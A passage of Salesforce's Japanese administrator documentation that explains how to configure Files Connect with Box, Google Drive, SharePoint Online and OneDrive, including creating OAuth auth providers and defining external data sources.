検索、SOQL、および SOSL クエリへの SharePoint カスタムプロパティの追加
SharePoint データソースの外部オブジェクトを作成したら、含まれているカスタムプロパティを検索または
クエリするために特別な手順を実行する必要があります。
単純な URL 外部データソースの定義
組織で Chatter が有効化されている場合、Salesforce は、別の Web ドメインでホストされているデータにアク
セスして [ファイル] タブとフィードで使用できます。

4216

Salesforce Files Connectコラボレーションツールの設定および管理



Files Connect の設定プロセス
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

クラウドベースの外部データソースと社内の外部データソースでは Files Connect

の設定プロセスが異なります。

ヒント: ビジュアル、ヒント、トラブルシューティングについての詳細は、
Files Connect の『設定ガイド』および『ユーザガイド』を参照してください。

Files Connect を有効にして、関連する外部データソース
にユーザがアクセスできるようにする
1. 組織で Salesforce Files Connect を有効化します。
2. ユーザとシステム管理者が Files Connect データソースにアクセスできるように

します。

クラウドベースデータソースの場合、認証プロバイダを
作成してからソースを定義する
Google ドライブを使用する場合は、次の手順を実行します。
1. Google ドライブの認証プロバイダを作成します。
2. Google ドライブの外部データソースを定義します。
Microsoft のクラウドシステムを使用する場合は、次の手順を実行します。
1. Azure (優先方法) を使用して SharePoint Online の認証プロバイダを作成します。
2. SharePoint Online または OneDrive for Business の外部データソースを定義します。
Box を使用する場合は、次の手順を実行します。
1. Box の認証プロバイダを作成します。
2. Box の外部データソースを定義します。

社内データソースの場合、セキュアエージェントを設定してからソースを定義
する

メモ: このプロセスは、有料の権限セットライセンス「社内の外部データソース用 Files Connect」を所有す
るお客様のみが使用できます。このライセンスは購入できなくなりました。

1. ファイアウォールの内側に保存されているデータに Salesforce を安全に接続するために、Linux または Windows

サーバで SharePoint 2010 または 2013 のセキュアエージェントを設定します。
2. SharePoint 2010 または 2013 の外部データソースを定義します。
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外部データをグローバル検索に含める
ユーザがSalesforceのグローバル検索で外部データにアクセスできるようにするには、外部オブジェクトを作成
して、その項目へのアクセス権をユーザに付与する必要があります。この手順は省略可能ですが、外部データ
を Salesforce と適切に統合するために強くお勧めします。

ユーザ単位のデータソースの場合、ユーザが Salesforce で認証する
データソースにユーザ単位の認証を指定し、プロファイルまたは権限セットを介して公開している場合、認証
されているユーザにデータソースのログイン情報を提供するよう依頼します。

外部ファイルのアクセス、共有、検索を開始する
これでユーザは、[ファイル] タブやフィードで外部ファイルのアクセスや共有を行ったり、Salesforce のコンテ
ンツと一緒に検索したりできます。

組織に対する Salesforce Files Connect の有効化
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

Salesforce Files Connect を
有効化する
• 「アプリケーションの

カスタマイズ」

ユーザが、Google ドライブや SharePoint のような外部システムのファイルを検索
および共有できます。
1. [設定] から、[クイック検索] ボックスに「Files Connect」と入力し、[設

定] の [Files Connect] を選択します。
2. [編集] をクリックして、[Files Connect の有効化] を選択します。
3. [ファイル共有] で、次のいずれかを選択します。

• [コピー] を選択すると、外部ファイルのコピーが Salesforce に保存されま
す。ファイルが Chatter グループと共有されている場合、外部システムへ
のアクセス権がなくても、すべてのグループメンバーがファイルにアク
セスできます。

• [参照]を選択すると、Salesforce 以外に保存されている外部ファイルが参照
されます。ファイルのプレビューは使用できません。また、ファイルの
ダウンロードには、外部システムへのユーザアクセス権が必要です。ユー
ザは個人設定の [外部システムの認証設定] セクションでシステムのログ
イン情報を入力する必要があります。

ヒント: 組織が外部顧客またはパートナーとファイルを共有する場合
は、コピーモードを選択します。外部システムのアクセス制限を Salesforce

に反映するには、参照モードを選択します。

4218

組織に対する Salesforce Files Connect の有効化コラボレーションツールの設定および管理

https://help.salesforce.com/HTViewHelpDoc?id=collab_files_connect_cred.htm&language=ja
https://help.salesforce.com/HTViewHelpDoc?id=collab_files_connect_share.htm&language=ja
https://help.salesforce.com/HTViewHelpDoc?id=collab_files_connect_search.htm&language=ja


共有モードに関係なく、Salesforce のファイルには外部システムのファイルのリビジョンは反映されません。た
だし、参照モードでは、外部システムの最新バージョンが参照されます。

関連トピック:

Files Connect の設定プロセス
Files Connect データソースへのユーザアクセスと管理アクセスの許可

Files Connectデータソースへのユーザアクセスと管理アクセスの許可
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

権限を設定する
• 「アプリケーションの

カスタマイズ」

社内の外部データソース
の Files Connect を使用す
る
• 「API の有効化」

Files Connect を有効化したら、ユーザとシステム管理者に Salesforce から特定の外
部データソースにアクセスする権限を付与します。

ヒント: データソースへのアクセス権は権限セットまたはプロファイルを
介して付与できますが、権限セットを使用すると、ユーザの複数種別のア
クセス権をより簡単に調整できます。選択した方式に関係なく、システム
管理者にはデータソースを設定できる権限を付与します。

1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ
ト] を選択するか、[クイック検索] ボックスに「プロファイル」と入力して
[プロファイル] を選択します。

2. 新しい権限セットまたはプロファイルを作成するか、既存の権限セットまた
はプロファイルをクリックします。
権限セットを使用する場合、[ユーザライセンス] はデフォルトオプションの
[なし] に設定する必要があります。

3. 権限セットの場合、[システム権限]をクリックし、[編集]をクリックします。
プロファイルの場合、[編集] をクリックし、[システム管理者権限] セクショ
ンまでスクロールダウンします。

4. 次のいずれかを実行し、[保存] をクリックします。
• SharePoint Online のようなクラウドベースのデータソースにアクセスするに

は、[Files Connect (クラウド)] を選択します。
• SharePoint 2010 または 2013 のような社内データソースにアクセスするには、

[Files Connect (社内)] を選択します。

メモ: 社内権限を使用するには、有料の権限セットライセンス「社内の
外部データソース用 Files Connect」が必要です。ユーザに対して Files Connect

(社内) を有効にする手順は、次のとおりです。
a. Files Connect ライセンスをユーザに割り当てます。
b. 権限セットを作成し、「Files Connect (社内)」権限を追加します。
c. 権限セットをユーザに割り当てます。

5. 権限セットの場合、ページ上部のツールバーで [割り当ての管理]をクリックします。次に、[割り当てを追
加] をクリックし、権限セットを付与するユーザを選択して、[割り当て] をクリックします。
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重要: 外部データソースを設定する必要があるすべてのシステム管理者を含めます。

6. 組織の外部データソースを定義します (未定義の場合)。
• SharePoint Online または OneDrive for Business の外部データソースの定義
• SharePoint 2010 または 2013 の外部データソースの定義
• Google ドライブの外部データソースの定義
• Box の外部データソースの定義

メモ: データソースの ID 種別に [指定ユーザ] を選択する場合は、以下の手順をスキップします。[ユー
ザ] を選択する場合は手順を続行します。

7. [設定] から、権限セットまたはプロファイルの詳細ページに戻ります。次のいずれかの操作を実行します。
• 権限セットの場合、[アプリケーション] セクションで [外部データソースアクセス] をクリックします。
• プロファイルの場合、[有効な外部データソースへのアクセス] 関連リストに移動します。

8. [編集]をクリックし、特定のデータソースを [有効な外部データソース] リストに追加し、[保存]をクリック
します
(ユーザは、初めて外部データソースにアクセスするとき、または [外部システムの認証設定] ページの個人
設定から、ログイン情報を入力します)。

関連トピック:

Files Connect の設定プロセス
組織に対する Salesforce Files Connect の有効化
権限セット
プロファイル
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Box の認証プロバイダの作成
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

認証プロバイダを作成す
る
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

Box を外部データソースとして使用するには、Salesforce に Box の認証プロバイダ
を作成する必要があります。

ヒント: ビジュアル、ヒント、トラブルシューティングについての詳細は、
Files Connect の『設定ガイド』および『ユーザガイド』を参照してください。

Salesforce での認証プロバイダの作成
1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証

プロバイダ] を選択します。
2. [新規] をクリックします。
3. [プロバイダタイプ] で [OpenID Connect] を選択し、次のオプションを設定し

ます。
• 名前  — Salesforce に表示する名前を入力します。
• URL 接尾辞  — URL パスの最後に付けるサフィックスを入力します。デフォ

ルトでは、サフィックスには [名前] への入力が反映されます。
• コンシューマ鍵  — プレースホルダ値を入力します。ステップ 5 で Box アプ

リケーションを作成した後で入力できます。
• コンシューマの秘密  — プレースホルダ値を入力します。ステップ 5 で Box

アプリケーションを作成した後で入力できます。
• 承認エンドポイント URL  —

https://account.box.com/api/oauth2/authorize と入力します。
• トークンエンドポイント URL  — https://api.box.com/oauth2/token と入力します。
• ユーザ情報エンドポイント URL  — 空のままにします。
• デフォルトの範囲  — 空のままにします。

4. [保存] をクリックします。次に、[認証プロバイダ] 詳細ページの下部で、[コールバック URL] エントリを
テキストファイルにコピーします (Box アプリケーションの作成時に使用します)。

5. Box アプリケーションを作成します。作成後、ステップ 6 に進みます。
6. Box アプリケーションを作成したら、Salesforce 認証プロバイダを編集し、次の値を Box アプリケーションの

値で置き換えます。
• Consumer.Key: Box の client_id。
• Consumer.Secret: Box の client_secret。

7. [保存] をクリックします。これで Box 認証プロバイダを使用する準備ができました。

Box アプリケーションの作成
1. Box 管理者アカウントのログイン情報を使用して、https://app.box.com/developers/services にロ

グインします。
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2. [Box アプリケーションを作成する] をクリックします。
3. プロジェクト名を入力し、Box のコンテンツを選択して[アプリケーションを作成する]をクリックします。
4. [アプリケーションを設定] をクリックします。
5. OAuth2 仕様で指定されている Salesforce コールバック URL を [redirect_uri] 項目に貼り付けます。
6. [client_id] と [client_secret] の値をテキストファイルにコピーします。これらの値は、「Salesforce での認証プ

ロバイダの作成」のステップ 6 で入力します。

Box の外部データソースの定義
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

外部データソースを定義
する
• 「アプリケーションの

カスタマイズ」

ユーザが、[ファイル] ホーム、フィード投稿、検索から Box のコンテンツにアク
セスできるようにします。
1. Salesforce Classic の [設定] から、[クイック検索] ボックスに「外部データソー

ス」と入力し、[外部データソース] を選択します。
2. [新規External Data Source]をクリックします。次のオプションを設定します。

説明項目

Salesforce ユーザインターフェースに
表示される、データソースのわかり
やすい名前。

表示ラベル

API を介してこの外部データソース定
義を参照するために使用される一意
の識別子。[名前]項目には、アンダー
スコアと英数字のみを使用できます。
一意であること、最初は文字である
こと、空白は使用しない、最後にア
ンダースコアを使用しない、2 つ続け
てアンダースコアを使用しないとい
う制約があります。

名前

[Files Connect: Box] を選択します。種類

外部データソースの認証に使用する
ID タイプ。
データソースにアクセスするユーザ
ごとに別個のログイン情報を要求す

ID 種別

るには、[ユーザ] を選択します (シス
テム管理者は、特定の権限セットと
プロファイルでデータソースを有効
にする必要があります。ユーザは最
初にデータソースにアクセスすると
きに自分のログイン情報を入力しま
す)。
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説明項目

Box へのアクセスに使用するプロトコル。
[OAuth 2.0] を選択します。

認証プロトコル

Box の認証プロバイダを入力します。認証プロバイダ

空白のままにします。範囲

上記の設定をすぐにテストするには、選択します。保存時に認証フローを開始

Google ドライブの認証プロバイダの作成
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

認証プロバイダを作成す
る
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

Google ドライブを外部データソースとして使用するには、Salesforce に Google ドラ
イブの認証プロバイダを作成する必要があります。そのためにはまず、Google

開発者コンソールで関連プロジェクトを作成します。

ヒント: ビジュアル、ヒント、トラブルシューティングについての詳細は、
Files Connect の『設定ガイド』および『ユーザガイド』を参照してください。

Google 開発者コンソールでのプロジェクトの作成
1. Google App for Work 管理者アカウントのログイン情報を使用して、

https://console.cloud.google.com にログインします。
2. タイトルバーで、[プロジェクトに移動] を展開して [プロジェクトを作成] を

クリックします。
3. プロジェクト名を入力し、[作成] をクリックします。
4. プロジェクトダッシュボードの左上にあるメニューアイコンをクリックし、

[API マネージャ] をクリックします。
5. API マネージャで、Google API タブに移動し、Google「Drive API」を検索し

ます。
6. 検索結果の [Google ドライブ API] をクリックして、[API を有効化] をクリック

します。
7. 左側のメニューにある [ログイン情報] をクリックします。
8. [OAuth 同意画面] タブに、有効なメールアドレスと製品名を入力します。続いて、[保存]をクリックします。
9. [認証情報] タブで、[ログイン情報を追加] をクリックし、[OAuth のクライアント ID] を選択します。
10. [Web アプリケーション] を選択して、[作成] をクリックします。
11. クライアント ID とクライアントの秘密の値をテキストファイルにコピーします。これらの値は、Salesforce

に認証プロバイダを作成するときに使用します。
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Salesforce での認証プロバイダの作成
1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証プロバイダ] を選択します。
2. [新規] をクリックします。
3. [プロバイダタイプ] で [OpenID Connect] を選択し、次のオプションを設定します。

• 名前  — Salesforce に表示する名前を入力します。
• URL 接尾辞  — URL パスの最後に付けるサフィックスを入力します。たとえば、パス

https://login.salesforce.com/services/authcallback/00Dx00000000001/MyGoogleProvider

のサフィックスは「MyGoogleProvider」です。
• コンシューマ鍵  — Google プロジェクトの作成時にコピーしたクライアント ID を入力します。
• コンシューマの秘密  — Google プロジェクトの作成時にコピーしたクライアントの秘密を入力します。
• 承認エンドポイント URL  —

https://accounts.google.com/o/oauth2/auth?access_type=offline&approval_prompt=force

と入力します。
• トークンエンドポイント URL  — https://accounts.google.com/o/oauth2/token と入力します。
• デフォルトの範囲  — openid email profile https://www.googleapis.com/auth/drive と入力

します。

4. [保存] をクリックします。次に、[認証プロバイダ] 詳細ページの下部で、[コールバック URL] エントリを
テキストファイルにコピーします (これは、Google プロジェクトの編集時に使用します)。

Google 開発者コンソールでのプロジェクトの編集
1. API マネージャの左側のメニューにある [ログイン情報] をクリックします。
2. 以前作成した Web アプリケーションをクリックします。
3. [承認済みのリダイレクト URI] セクションに、Salesforce で認証プロバイダを作成したときにコピーしたコー

ルバック URL を追加します。
4. [保存] をクリックします。
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Google ドライブの外部データソースの定義
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

外部データソースを定義
する
• 「アプリケーションの

カスタマイズ」

Chatterユーザが、[ファイル] タブ、フィード投稿、検索から Google ドライブのコ
ンテンツにアクセスできるようにします。Salesforce では、Google ドキュメント、
スプレッドシート、プレゼンテーション、図形描画をサポートしています。
1. [設定] から、[クイック検索] ボックスに「外部データソース」と入力し、[外

部データソース] を選択します。
2. [新規External Data Source]をクリックします。次のオプションを設定します。

説明項目

Salesforce ユーザインターフェースに
表示される、データソースのわかり
やすい名前。

表示ラベル

API を介してこの外部データソース定
義を参照するために使用される一意
の識別子。[名前]項目には、アンダー
スコアと英数字のみを使用できます。
一意であること、最初は文字である
こと、空白は使用しない、最後にア
ンダースコアを使用しない、2 つ続け

名前

てアンダースコアを使用しないとい
う制約があります。

[Files Connect: Google ドライブ]を選択
します。

種類

外部データソースの認証に使用する
ID タイプ。
データソースにアクセスするユーザ
ごとに別個のログイン情報を要求す

ID 種別

るには、[ユーザ] を選択します (シス
テム管理者は、特定の権限セットと
プロファイルでデータソースを有効
にする必要があります。ユーザは最
初にデータソースにアクセスすると
きに自分のログイン情報を入力しま
す)。
Salesforce からデータソースにアクセ
スするすべてのユーザに対して同じ
ログイン情報のセットを使用するに
は、[指定ユーザ] を選択します。
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説明項目

Google ドライブへのアクセスに使用するプロトコル。
[OAuth 2.0] を選択します。

認証プロトコル

Google ドライブの認証プロバイダを入力します。認証プロバイダ

空白のままにします。範囲

上記の設定をすぐにテストするには、選択します。保存時に認証フローを開始

Azure (優先方法) を使用した SharePoint Online の認証プロバイダの作
成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

認証プロバイダを作成す
る
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

Microsoft が提供するクラウドベースの外部データソースのいずれかを使用するに
は、そのための認証プロバイダを Salesforce に作成し、Microsoft Azure Web アプリ
ケーションにそのプロバイダを登録する必要があります。

ヒント: ビジュアル、ヒント、トラブルシューティングについての詳細は、
Files Connect の『設定ガイド』および『ユーザガイド』を参照してください。

認証プロバイダを完全に設定するには、次の手順を実行します。
1. プレースホルダ値を使用して認証プロバイダを作成します。
2. Azure 管理コンソールで Web アプリケーションを登録します。

メモ:  Azure 管理コンソールへのアクセス権がない場合、または OneDrive

for Business への認証が必要な場合は、「Office 365 (代替方法) を使用した
SharePoint Online または OneDrive for Business の認証プロバイダの作成」の手
順に従って Office 365 にアプリケーションを登録します。

3. Salesforce で認証プロバイダを設定します。

プレースホルダ値を使用した認証プロバイダの作成
認証プロバイダは、アプリケーションの登録に必要なリダイレクト URI を提供し
ます。
1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証

プロバイダ] を選択します。
2. [新規] をクリックします。
3. [プロバイダタイプ] で [OpenID Connect] を選択し、次のオプションを設定します。

• 名前  — Salesforce に表示する名前を入力します。
• URL 接尾辞  — URL パスの最後に付けるサフィックスを入力します。デフォルトでは、サフィックスに

は [名前] への入力が反映されます。
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• コンシューマ鍵  — プレースホルダ値を入力します。
• コンシューマの秘密  — プレースホルダ値を入力します。
• 承認エンドポイント URL  — https で始まるプレースホルダを入力します。
• トークンエンドポイント URL  — https で始まるプレースホルダを入力します。
• デフォルトの範囲  — 空のままにします。

4. [保存] をクリックします。次に、[認証プロバイダ] 詳細ページの下部で、[コールバック URL] エントリを
テキストファイルにコピーします

Azure 管理コンソールでの Web アプリケーションの登録
1. https://manage.windowsazure.com/で Azure にログインします (問題がある場合は、ブラウザの「シー

クレット」モードで Azure に接続します)。
2. 左のナビゲーションパネルで、[有効なディレクトリ] を選択します。
3. 自分の Active Directory を選択します。
4. Active Directory ページのヘッダーメニューから [アプリケーション] をクリックします。
5. フッターメニューで [追加] をクリックします。
6. [組織が依存しているアプリケーションを追加] を選択します。
7. アプリケーションの名前を入力し、[Web アプリケーションおよび Web API]を選択します。矢印をクリック

します。
8. [アプリケーションのプロパティ] 画面で次の情報を入力します。

• サインオンページ URL  — URL を入力します (この値は後で変更できます)。
• アプリケーション ID URI  — 一意の URI を入力します (この値は後で変更できます)。

9. チェックマークをクリックして終了します。
10. アプリケーションを作成したら、ヘッダーメニューから [構成] を選択します。
11. [クライアント ID] をテキストファイルにコピーします。Salesforce で認証プロバイダを設定するときにこ

の ID が必要になります。
12. 1 年または 2 年の期間でキーを作成します (保存後にキー値が表示されます)。
13. Salesforce 認証プロバイダからコピーしたコールバック URL で [返信 URL] を更新します。
14. 既存のアプリケーション権限をすべて削除します。
15. [アプリケーションを追加] をクリックし、Office 365 Sharepoint Online を追加します。
16. [代理権限] をクリックし、矢印をクリックして必要な代理権限を追加します。
17. フッターメニューから [保存] をクリックします。
18. 表示されたキー値をテキストファイルにコピーします。

Salesforce での認証プロバイダの設定
Salesforce で、元のプレースホルダ値を Azure アプリケーションの正しい値に置き換えます。
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1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証プロバイダ] を選択します。
2. 前に作成した認証プロバイダの横にある [編集] をクリックします。
3. 次の値を変更します。

• コンシューマ鍵  — テキストファイルにコピーしたクライアント ID を入力します。
• コンシューマの秘密  — テキストファイルにコピーしたキーを入力します。
• 承認エンドポイント URL  — 次の URL を入力します。

https://login.microsoftonline.com/common/oauth2/authorize?prompt=consent&
resource=https%3A%2F%2FYOUR_TENANT.sharepoint.com%2F

• トークンエンドポイント URL  — 次の URL を入力します。
https://login.microsoftonline.com/common/oauth2/token

• SharePoint Online の例
https://login.microsoftonline.com/common/oauth2/authorize?prompt=consent&
resource=https%3A%2F%2Fcontenthubblitz.sharepoint.com%2F

4. [保存] をクリックします。これで認証プロバイダを使用する準備ができました。

関連トピック:

Files Connect の設定プロセス
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Office 365 (代替方法) を使用した SharePoint Online または OneDrive for
Business の認証プロバイダの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

認証プロバイダを作成す
る
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

Microsoft が提供するクラウドベースの外部データソースのいずれかを使用するに
は、そのための認証プロバイダを Salesforce に作成し、Office 365 アプリケーショ
ンにそのプロバイダを登録する必要があります。

ヒント: ビジュアル、ヒント、トラブルシューティングについての詳細は、
Files Connect の『設定ガイド』および『ユーザガイド』を参照してください。

認証プロバイダを完全に設定するには、次の手順を実行します。
1. プレースホルダ値を使用した認証プロバイダを作成します。
2. Office 365 アプリケーションを登録します。

メモ:  Azure 管理コンソールへのアクセス権がある場合は、「Azure (優先
方法) を使用した SharePoint Online の認証プロバイダの作成」 (ページ4226)

の手順に従い、Azure を使用してプロバイダを登録できます。

3. Salesforce で認証プロバイダを編集します。

プレースホルダ値を使用した認証プロバイダの作成
1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証

プロバイダ] を選択します。
2. [新規] をクリックします。
3. [プロバイダタイプ] で [Microsoft アクセスコントロールサービス]を選択し、

次のオプションを設定します。
• 名前  — Salesforce に表示する名前を入力します。
• URL 接尾辞  — URL パスの最後に付けるサフィックスを入力します。デフォルトでは、サフィックスに

は [名前] への入力が反映されます。
• コンシューマ鍵  — プレースホルダ値を入力します。
• コンシューマの秘密  — プレースホルダ値を入力します。
• 承認エンドポイント URL  — https で始まるプレースホルダを入力します。
• トークンエンドポイント URL  — https で始まるプレースホルダを入力します。
• デフォルトの範囲  — 空のままにします。

4. [保存] をクリックします。次に、[認証プロバイダ] 詳細ページの下部で、[コールバック URL] エントリを
テキストファイルにコピーします (これは、Office 365 アプリケーションの登録時に使用します)。

Office 365 アプリケーションを登録します。
1. システム管理者として Office365 アカウントにログインし、次のいずれかの URL にアクセスします。
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SharePoint Online

https://あなたの会社名.sharepoint.com/サイトコレクションパス/_layouts/15/appregnew.aspx

OneDrive for Business

https://あなたの会社名-my.sharepoint.com/_layouts/15/appregnew.aspx

2. 次のオプションを設定します。
• クライアント ID  — [生成] をクリックし、生成された値をテキストファイルにコピーします。
• クライアントの秘密  — [生成] をクリックし、生成された値をテキストファイルにコピーします。
• タイトル  — アプリケーションの名前を入力します。
• アプリケーションドメイン  — Salesforce 組織のドメイン名を入力します。
• リダイレクト URL  — Salesforce で認証プロバイダの作成時にコピーしたコールバック URL を入力します。

3. [作成] をクリックします。
次に、新しく作成したアプリケーションを SharePoint リソースにアクセスできるように設定します。

4. 次のいずれかの URL にアクセスします。
SharePoint Online

https://あなたの会社名.sharepoint.com/サイトコレクションパス/_layouts/15/appinv.aspx

OneDrive for Business

https://あなたの会社名-my.sharepoint.com/_layouts/15/appinv.aspx

5. 次のオプションを設定します。
• アプリケーション ID  — テキストファイルにコピーしたクライアント ID を入力し、[ルックアップ] をク

リックします。
• タイトル  — デフォルト値のままにします。
• アプリケーションドメイン  — デフォルト値のままにします。
• リダイレクト URL  — デフォルト値のままにします。
• 権限要求 XML  — 次の形式で文字列を入力します。

SharePoint Online

<AppPermissionRequests>
<AppPermissionRequest Scope="[SCOPE]" Right="[PLACEHOLDER]"/>
</AppPermissionRequests>

OneDrive for Business

<AppPermissionRequests>
<AppPermissionRequest Scope="http://sharepoint/content/tenant"
Right="[PLACEHOLDER]"/>
<AppPermissionRequest Scope="http://sharepoint/social/tenant" Right="Read"/>
</AppPermissionRequests>

6. SharePoint Online の場合、[SCOPE] を次のいずれかの値に置き換えます。

重要:  Office 365 は次の範囲 URL のみを認識します。これらは変更せずに正確にコピーしてください。
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• http://sharepoint/content/sitecollection/web: ユーザは 1 つのサイト (そのサブサイトは除く)

にアクセスできます。
• http://sharepoint/content/sitecollection: ユーザは 1 つのサイトコレクション (すべてのサブ

サイトを含む) にアクセスできます。
• http://sharepoint/content/tenant: ユーザはすべてのサイトコレクションにアクセスできます。

7. [PLACEHOLDER] を次のいずれかの値に置き換えます。
•

•

•

•

上記の権限レベルの違いについての詳細は、「Microsoft の Web サイト」を参照してください。

8. [作成] をクリックします。

Salesforce で認証プロバイダを編集します。
Salesforce で、元のプレースホルダ値を Office 365 アプリケーションの正しい値に置き換えます。
1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証プロバイダ] を選択します。
2. 前に作成した認証プロバイダの横にある [編集] をクリックします。
3. 次の値を変更します。

• コンシューマ鍵  — テキストファイルにコピーしたクライアント ID を入力します。
• コンシューマの秘密  — テキストファイルにコピーしたクライアントの秘密を入力します。
• 承認エンドポイント URL  — Office 365 の OAuthAuthorize.aspx ページの URL を入力します。URL 形式は次のと

おりです。
SharePoint Online

https://あなたの会社名.sharepoint.com/サイトコレクションパ
ス/_layouts/15/OauthAuthorize.aspx

OneDrive for Business

https://あなたの会社名-my.sharepoint.com/_layouts/15/OauthAuthorize.aspx

• トークンエンドポイント URL  — 次の形式で URL を入力します。
SharePoint Online

https://accounts.accesscontrol.windows.net/[your company
name].onmicrosoft.com/tokens/OAuth/2?resource=00000003-0000-0ff1-ce00-000000000000/[your
company name].sharepoint.com@[your company name].onmicrosoft.com

OneDrive for Business
https://accounts.accesscontrol.windows.net/[your company
name].onmicrosoft.com/tokens/OAuth/2?resource=00000003-0000-0ff1-ce00-000000000000/[your
company name]-my.sharepoint.com@[your company name].onmicrosoft.com

4. [保存] をクリックします。これで認証プロバイダを使用する準備ができました。
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SharePoint Online または OneDrive for Business の外部データソースの
定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

外部データソースを定義
する
• 「アプリケーションの

カスタマイズ」

Files ConnectとChatterを使用して、Salesforce から Microsoft が提供するクラウドベー
スのシステムのコンテンツにアクセスできます。
1. [設定] から、[クイック検索] ボックスに「外部データソース」と入力し、[外

部データソース] を選択します。
2. [新規External Data Source]をクリックします。次のオプションを設定します。

説明項目

Salesforce ユーザインターフェースに
表示される、データソースのわかり
やすい名前。

表示ラベル

API を介してこの外部データソース定
義を参照するために使用される一意
の識別子。[名前]項目には、アンダー
スコアと英数字のみを使用できます。
一意であること、最初は文字である
こと、空白は使用しない、最後にア
ンダースコアを使用しない、2 つ続け
てアンダースコアを使用しないとい
う制約があります。

名前

[Files Connect: Microsoft SharePoint

Online] または [Files Connect: Microsoft

OneDrive for Business] を選択します。

種類

SharePoint サイト、サイトコレクショ
ン、または Web アプリケーションの
URL。

サイトの URL

重要: この URL は https で始まる
必要があります。URL は次のよ
うになります。
https://salesforce.sharepoint
.com/HRSite

(SharePoint へのアクセス時にブ
ラウザに表示される URL をコ
ピーしないでください。また、
次のような URL を指定しないで
ください。
https://salesforce.sharepoint.
com/HRSite/SitePages
/Home.aspx)
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説明項目

URL で指定されたサイトコレクションのみにアクセ
スし、その他のサイトコレクションは無視します。

他のサイトコレクションを除外

ルートサイトコレクションに現在アクセスできる
ユーザがいる場合は、このオプションを常に有効に
します。

外部データソースの認証に使用する ID タイプ。
データソースにアクセスするユーザごとに別個のロ
グイン情報を要求するには、[ユーザ] を選択します

ID 種別

(システム管理者は、特定の権限セットとプロファイ
ルでデータソースを有効にする必要があります。
ユーザは最初にデータソースにアクセスするときに
自分のログイン情報を入力します)。
Salesforce からデータソースにアクセスするすべての
ユーザに対して同じログイン情報のセットを使用す
るには、[指定ユーザ] を選択します。

SharePoint Online へのアクセスに使用するプロトコル。
[OAuth 2.0] を選択します。

認証プロトコル

SharePoint Online 認証プロバイダを入力します。認証プロバイダ

空白のままにします。範囲

設定をすぐにテストするか、この外部データソース
の外部オブジェクトを作成するには、これを選択し
ます。

保存時に認証フローを開始

関連トピック:

Files Connect の設定プロセス

4233

SharePoint Online または OneDrive for Business の外部デー
タソースの定義

コラボレーションツールの設定および管理



SharePoint 2010 または 2013 のセキュアエージェントの設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セキュアエージェントを
設定する
• 「アプリケーションの

カスタマイズ」

セキュアエージェントは、Salesforce と SharePoint 2010 または 2013 の社内データ間
の安全な通信を提供します。Files Connect (社内) ソリューションは、ライセンス
をすでに所有しているお客様のみ使用できます。

メモ: セキュアエージェントの設定プロセスは、有料の権限セットライセ
ンス「社内の外部データソース用 Files Connect」があるお客様のみが使用で
きます。このライセンスは購入できなくなりました。

セキュアエージェントを完全に設定するには、次の手順を実行します。
1. セキュアエージェントの接続アプリケーションを作成します。
2. セキュアエージェントに固有のプロファイルおよびユーザを作成します。
3. Salesforce にエージェントを作成して、インストーラをサーバにダウンロード

します。
4. エージェントを Windows Server または Linux サーバにインストールして実行し

ます。
5. 社内データソースのセキュアエージェントプラグインをインストールしま

す。
6. 以前にインストールしたプラグインを更新します。
7. 必要な証明書をインポートします。
8. セキュアエージェントのアクティビティを追跡およびトラブルシューティングします。

